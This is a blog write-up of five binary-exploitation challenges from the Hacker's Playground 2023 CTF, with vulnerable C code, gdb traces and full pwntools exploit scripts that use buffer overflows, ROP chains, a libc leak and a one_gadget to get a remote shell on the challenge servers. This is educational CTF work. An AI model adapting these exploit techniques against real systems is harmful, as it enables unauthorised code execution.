Apothiphis_z

My journey in the world of CTF as n00b

Home | Blog | About me | Contact me
19 August 2023

Writeup Hacker's Playground 2023

by Francesco

#Hacker’s Playground 2023

This ‘weekend’ (12 hours, for me 4!) Samsung Research Security Team hosted a ctf, despite this weekend was full of events I decided to play solo the Samsun’s one and at the end of the day I did 5/7 pwn challs (not too bad for a noob!).

Today I’ll write about BOF101, BOF102, BOF103, BOF104 and 9end2outs…

BOF101

The obvious ret2win challenge, but this time with a catch the program check if a variable is changed, and if so it exits…

int main() {
	int check=0xdeadbeef;
	char name[140];
	printf("printflag()'s addr: %p\n", &printflag);
	printf("What is your name?\n: ");
	scanf("%s", name);	
	if (check != 0xdeadbeef){
		printf("[Warning!] BOF detected!\n");
		exit(0);
	}
	return 0;
}

Strategy: 1) Find the offset 2) Overwrite the check memory with 0xdeadbeef 3) Call printflag()

Let’s jump into gdb, I first set a breakpoint here:

0x4012a4 <main+90>            cmp    dword ptr [rbp - 4], 0xdeadbeef

Then with cyclic 200 I generated the pattern and when I reached the breakpoint I examined the near area of $rbp-4

pwndbg> x/40gx $rbp-4
0x7fffffffdecc:	0x6161617361616161	0x6161617461616161
0x7fffffffdedc:	0x6161617561616161	0x6161617661616161
0x7fffffffdeec:	0x6161617761616161	0x6161617861616161
0x7fffffffdefc:	0x6161617961616161	0x5b44a00061616161
0x7fffffffdf0c:	0xffffdfe8d7b5cdb5	0x0040124a00007fff
0x7fffffffdf1c:	0x0000000000000000	0xf7ffd04000000000
0x7fffffffdf2c:	0xe686a06500007fff	0x61cea065284a324a
0x7fffffffdf3c:	0x00000000284a2230	0x0000000000007fff
0x7fffffffdf4c:	0x0000000000000000	0xffffdfe800000000
0x7fffffffdf5c:	0x0000000000007fff	0xde23cb0000000000
0x7fffffffdf6c:	0x0000000057d99d22	0xf7c29e4000000000
0x7fffffffdf7c:	0x0000000000007fff	0xffffdff800007fff
0x7fffffffdf8c:	0xf7ffe2e000007fff	0x0000000000007fff
0x7fffffffdf9c:	0x0000000000000000	0x0040111000000000
0x7fffffffdfac:	0xffffdfe000000000	0x0000000000007fff
0x7fffffffdfbc:	0x0000000000000000	0x0040113e00000000
0x7fffffffdfcc:	0xffffdfd800000000	0x0000001c00007fff
0x7fffffffdfdc:	0x0000000100000000	0xffffe33000000000
0x7fffffffdfec:	0x0000000000007fff	0xffffe35000000000
0x7fffffffdffc:	0xffffe36000007fff	0xffffe3cc00007fff
pwndbg> cyclic -l 0x6161617361616161
Finding cyclic pattern of 8 bytes: b'aaaasaaa' (hex: 0x6161616173616161)
Found at offset 140

So we need to send 140 bytes of junk data then 0xdeadbeef, the ret (stack alignment) and finally printflag() address… A crucial part here is to determine the format of 0xdeadbeef, in particula we need to send ret and printflag as p64 but 0xdeadbeef as p32… Here is the solve script:

from pwn import *

elf = context.binary = ELF("./bof101")
ip, port = "bof101.sstf.site", 1337

off = 140
dead = p32(0xdeadbeef)
ret = p64(0x000000000040101a)
win = p64(elf.sym['printflag'])

#io = elf.process()
io = remote(ip, port)

pay = b"a"*140 + dead + ret + win

with open("pay", "wb") as f:
	f.write(pay)

io.sendline(pay)
io.interactive()

Flag = SCTF{N0VV_U_AR3_B0F_3xpEr7}

BOF102

This chall was actually interesting, first because is a 32bit one (I played last on 32bits like months ago…) and also for the overwrite… Let’s analyze the code:

char name[16];

void bofme() {
	char payload[16];

	puts("What's your name?");
	printf("Name > ");
	scanf("%16s", name);
	printf("Hello, %s.\n", name);

	puts("Do you wanna build a snowman?");
	printf(" > ");
	scanf("%s", payload);
	printf("!!!%s!!!\n", payload);
	puts("Good.");
}

int main() {
	system("echo 'Welcome to BOF 102!'");
	bofme();
	return 0;
}

So there is a system call at the start! we know that system will be in plt. In the bofme function the vulnerability is in the second scanf scanf("%s", payload);, but there is no win function an hacky trick would be to call system with /bin/sh, we already have system we only need the /bin/sh string, because we are prompted for 2 input and the first is also used in printf, we know where it lies:

pwndbg> disass main
Dump of assembler code for function main:
   0x080485fb <+0>:	push   ebp
   0x080485fc <+1>:	mov    ebp,esp
   0x080485fe <+3>:	push   0x8048730
   0x08048603 <+8>:	call   0x8048430 <system@plt>
   0x08048608 <+13>:	add    esp,0x4
   0x0804860b <+16>:	call   0x804856b <bofme>
   0x08048610 <+21>:	mov    eax,0x0
   0x08048615 <+26>:	leave  
   0x08048616 <+27>:	ret    
End of assembler dump.

System address: 0x8048430, then we exploit that name where our /bin/sh string will lay won’t die at the end of bofme() because is a global value.

0x80485a7 <bofme+60>    call   printf@plt                     <printf@plt>
        format: 0x80486ef ◂— 'Hello, %s.\n'
        vararg: 0x804a06c (name) ◂— '/bin/sh'

So the solver script is:

from pwn import *

elf = context.binary = ELF('bof102')
ip, port = "bof102.sstf.site", 1337

#io = elf.process()
io = remote(ip, port)

io.sendline("/bin/sh")

bin_sh = p32(0x804a06c)
fill = b"A"*4
system = p32(0x8048430)
pay = b"A"*20 + system + fill + bin_sh

io.sendline(pay)
io.interactive()

Flag = SCTF{574ck_iS_g00d_bu7_d4n9erOu5}

BOF103 / BOF104

Tbh timezone was against me so I used autorop for two ez flag, but then I returned on them … Let’s analyze them.. bof103.c

unsigned long long key;

void useme(unsigned long long a, 
		unsigned long long b)
{
	key = a * b;
}

void bofme() {
	char name[16];
	puts("What's your name?");
	printf("Name > ");
	scanf("%s", name);
	printf("Bye, %s.\n", name);
}

int main() {
	system("echo 'Welcome to BOF 103!'");
	bofme();
	return 0;
}

Again system is present on the binary, there is a global variable ‘key’ that address can be easily identified and can be used in ‘useme()’, the bofme() function has again a no-brainer buffer overflow… Payload Strat: offset: 24 (could check easily) pop rdi; ret and “/bin/sh\x00” to set the first argument of useme pop rsi; ret and p64(1) to set the second argument of useme then again pop rdi; ret to set the first argument of system as key p64(key) (can be found in gdb or with nm) and last a call to system

Final Script:

from pwn import *

elf = context.binary = ELF("./bof103")
#io = elf.process()
io = remote("bof103.sstf.site", 1337)

pay = b"A"*24
pay += p64(0x0000000000400723) # pop rdi; ret
pay += b"/bin/sh\x00"
pay += p64(0x00000000004006b8) # pop rsi; ret
pay += p64(1)
pay += p64(elf.sym['useme'])
pay += p64(0x0000000000400723) # pop rdi; ret
pay += p64(0x601058) # Key Address
pay += p64(elf.plt['system']) # System Function

io.sendline(pay)
io.interactive()

Flag =

SCTF{R0P_is_v3ry_p0w3rfuL_4nd_u5EfUl}

Now BOF104, no source code this time so I loaded it in dogbolt and I get:

int64_t bofme()
{
    void var_28; // char var_28[0x20];
    read(0, &var_28, 0x200);
    return puts(&var_28);
}

int32_t main(int32_t argc, char** argv, char** envp)
{
    setvbuf(stdout, nullptr, 2, 0);
    setvbuf(stdin, nullptr, 1, 0);
    bofme();
    return 0;
}

Seems like a ROP playground, this time no evident system or other fancy things… We need to leak first thing first the libc base address (we also have a libc.so.6), we are going to leak the puts address and then subtracting it from the offset of our libc…

Leak Script

from pwn import *

elf = context.binary = ELF("bof104")
libc = ELF("libc.so.6")
#io = elf.process()
io = remote("bof104.sstf.site", 1337)

#Leak Libc

payload = b"A"* 40
payload += p64(0x0000000000401263) # pop rdi; ret
payload += p64(elf.got['puts']) # we pass the address of puts to puts
payload += p64(elf.plt['puts'])
payload += p64(elf.sym['main']) # We need to return to main

io.sendline(payload)
io.recvline()
leak_address = u64(io.recvline()[:-1].ljust(8, b"\x00"))
libc.address = leak_address - libc.sym['puts']
log.info(f"Libc Base @ {hex(libc.address)}")

io.interactive()

Now we only need to assemble our second payload that calls system(“/bin/sh”), with pwntools magic we can do:

bin_sh = next(libc.search(b"/bin/sh\x00"))
rop = ROP(libc)
rop.raw(rop.ret)
rop.system(bin_sh)

So the full exploit is:

from pwn import *

elf = context.binary = ELF("bof104")
libc = ELF("libc.so.6")
#io = elf.process()
io = remote("bof104.sstf.site", 1337)

#Leak Libc

payload = b"A"* 40
payload += p64(0x0000000000401263) # pop rdi; ret
payload += p64(elf.got['puts']) # we pass the address of puts to puts
payload += p64(elf.plt['puts'])
payload += p64(elf.sym['main']) # We need to return to main

io.sendline(payload)
io.recvline()
leak_address = u64(io.recvline()[:-1].ljust(8, b"\x00"))
libc.address = leak_address - libc.sym['puts']
log.info(f"Libc Base @ {hex(libc.address)}")

#Shell
bin_sh = next(libc.search(b"/bin/sh\x00"))
rop = ROP(libc)
rop.raw(rop.ret)
rop.system(bin_sh)

payload = b"A"*40
payload += rop.chain()

log.info(rop.dump())

io.sendline(payload)
io.interactive()

Flag =

SCTF{W3_c4n_Ov3rc0me_4SLR}

9end2outs

Again no sources, let’s reverse it

There is this useful function that leak us address of libc function

int showFuncAddr(unsigned long long a0)
{
    unsigned long v0;  // [bp-0x40]
    char v1;  // [bp-0x39]
    char v2;  // [bp-0x38]

    printf(" > ");
    fgets(&v2, 0x20, stdin@GLIBC_2.2.5);
    if (v1 == 10)
        v1 = 0;
    v0 = dlsym(a0, &v2, &v2);
    if (v0)
    {
        printf(" Libc function '%s' is at %p.\n", (unsigned int)&v2, (unsigned int)v0);
        return;
    }
    printf(" Libc doesn't have function '%s'.\n", (unsigned int)&v2);
    return;
}

An example

$ ./9end2outs 
You have only 3 chances to win the game.

The 1st chacne: Get libc symbol info.
 > system
 Libc function 'system' is at 0x7ffff7c50d60. We are given the opportunity to leak 2 functions, and then we have a overflow

char var_40;
fgets(&var_40, 0x10, stdin);
char rbx = var_40;

We can see that the buffer’s size is 16, so we overwrite 8 bytes with junk, and you ask why, so those 16 bytes will be saved into rbp, and after some instructions we have:

0x5555555554f9 <main+374>    call   rcx

It seems likely that a one_gadget will help us in this situation! So we only need to understand which libc the program use… I leaked values like ‘system’, ‘puts’ and ‘__libc_start_main’, I then inserted them into libc.database , and I found that the libc was libc6_2.35-0ubuntu3_amd64.

So let’s script what we have achieved:

from pwn import *
#context.log_level = 'debug'
elf = context.binary = ELF('9end2outs')
io = remote("2outs.sstf.site", 1337)
#io = elf.process()
libc = ELF("libc.so.6")
#Leak system
io.sendlineafter(b"> ", b'system')
io.recvuntil(b"is at ")
system = int(io.recvline().strip()[:-1], 16)
libc.address = system - libc.sym['system']
log.info(f"System: {hex(system)}")
#Leak puts
io.sendlineafter(b"> ", b'puts')
io.recvuntil(b"is at ")
puts = int(io.recvline().strip()[:-1], 16)
log.info(f"Puts: {hex(puts)}")
#Leak LIBC base address
log.info(f"LIBC: {hex(libc.address)}")

Then we have the one_gadget;

$ one_gadget libc.so.6 
0x50a37 posix_spawn(rsp+0x1c, "/bin/sh", 0, rbp, rsp+0x60, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL
  rbp == NULL || (u16)[rbp] == NULL

0xebcf1 execve("/bin/sh", r10, [rbp-0x70])
constraints:
  address rbp-0x78 is writable
  [r10] == NULL || r10 == NULL
  [[rbp-0x70]] == NULL || [rbp-0x70] == NULL

0xebcf5 execve("/bin/sh", r10, rdx)
constraints:
  address rbp-0x78 is writable
  [r10] == NULL || r10 == NULL
  [rdx] == NULL || rdx == NULL

0xebcf8 execve("/bin/sh", rsi, rdx)
constraints:
  address rbp-0x78 is writable
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL

I chose the last one, and the full exploit is:

from pwn import *
#context.log_level = 'debug'
elf = context.binary = ELF('9end2outs')
io = remote("2outs.sstf.site", 1337)
#io = elf.process()
libc = ELF("libc.so.6")
#Leak system
io.sendlineafter(b"> ", b'system')
io.recvuntil(b"is at ")
system = int(io.recvline().strip()[:-1], 16)
libc.address = system - libc.sym['system']
log.info(f"System: {hex(system)}")
#Leak puts
io.sendlineafter(b"> ", b'puts')
io.recvuntil(b"is at ")
puts = int(io.recvline().strip()[:-1], 16)
log.info(f"Puts: {hex(puts)}")
#Leak LIBC base address
log.info(f"LIBC: {hex(libc.address)}")
#XPL
one_gadget = 0xebcf8
io.sendlineafter(b"> ", b'A' * 8 + p64(libc.address + one_gadget))
io.interactive()

Flag = SCTF{c0ngr47s_y0u_R_Th3_MVP_0f_th15_94m3}

Thanks for reading!


If you have any question, want to ask me anything or give me any advice, just contact me and I will be super-available to answer to all of you! Hope to see you again!
tags: Hacking - Pwn